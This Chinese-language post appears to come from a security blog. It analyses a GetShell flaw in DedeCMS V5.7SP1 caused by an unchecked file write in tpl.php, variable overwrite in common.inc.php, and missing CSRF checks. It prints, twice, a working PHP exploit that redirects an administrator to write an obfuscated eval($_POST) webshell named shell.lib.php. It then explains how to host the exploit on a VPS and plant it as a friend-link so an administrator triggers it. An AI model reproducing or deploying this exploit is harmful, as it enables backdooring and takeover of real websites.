DedeCMS V5.7SP1正式版GetShell漏洞分析
遇到一个dedecms站点,故搜集了下***新可以利用的漏洞,使用为官网目前***新版本V5.7SP1正式版(2016-09-06),友情链接处输入exp链接,后台管理员点击后触发。
这个漏洞涉及如下知识点:
1.文件写入
2.变量覆盖
3.CSRF
exp代码:
//print_r($_SERVER);
$referer=$_SERVER['HTTP_REFERER'];
$dede_login=str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路径
//拼接 exp
$muma='<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.';'.'?'.'>';
$exp='tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php';
$url=$dede_login.$exp;
//echo $url;
header("location: ".$url);
// send mail coder
exit();
?>
/dede/tpl.php
else if($action=='savetagfile')
{
if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
{
ShowMsg('文件名不合法,不允许进行操作!', '-1');
exit();
}
require_once(DEDEINC.'/oxwindow.class.php');
$tagname=preg_replace("#\.lib\.php$#i", "", $filename);
$content=stripslashes($content);
$truefile=DEDEINC.'/taglib/'.$filename;
$fp=fopen($truefile, 'w');
fwrite($fp, $content);
fclose($fp);
$msg="
";
$win;
$wecome_info="标签源码碎片管理 >> 修改/新建标签";
$win=new OxWindow();
$win->AddTitle("修改/新建标签:");
$win->AddMsgItem($msg);
$winform=$win->GetWindow("hand"," ",false);
$win->Display();
exit();
}
可以看到这里是个写文件的操作,而且这里的$filename和$content变量均没有初始化,所以如果存在变量覆盖的话就可以利用了~
我们再来查看dedecms的common.inc.php文件:
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k=> $_v)
{
if($_k=='nvarname') ${$_k}=$_v;
else ${$_k}=_RunMagicQuotes($_v);
}
}
经典的变量覆盖代码!
加上CSRF没判断来源(自行分析)导致可在申请友链处填写exp代码诱骗后台管理员点击即可触发~~~
exp如下:
//print_r($_SERVER);
$referer=$_SERVER['HTTP_REFERER'];
$dede_login=str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路径
//拼接 exp
$muma='<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.';'.'?'.'>';
$exp='tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php';
$url=$dede_login.$exp;
//echo $url;
header("location: ".$url);
// send mail coder
exit();
?>
将该exp保存为exp.php放置于vps上,然后在申请友情链接处将其设置为友情链接
当管理员进入后台审核该友链时,点击百度一下,你就知道即可触发~
我们查看下include/taglib目录即可发现shell.lib.php的一句话后门
时间:(2024-02-06 14:10:14)
本站资源均来自互联网或会员发布,如果不小心侵犯了您的权益请与我们联系。我们将立即删除!谢谢!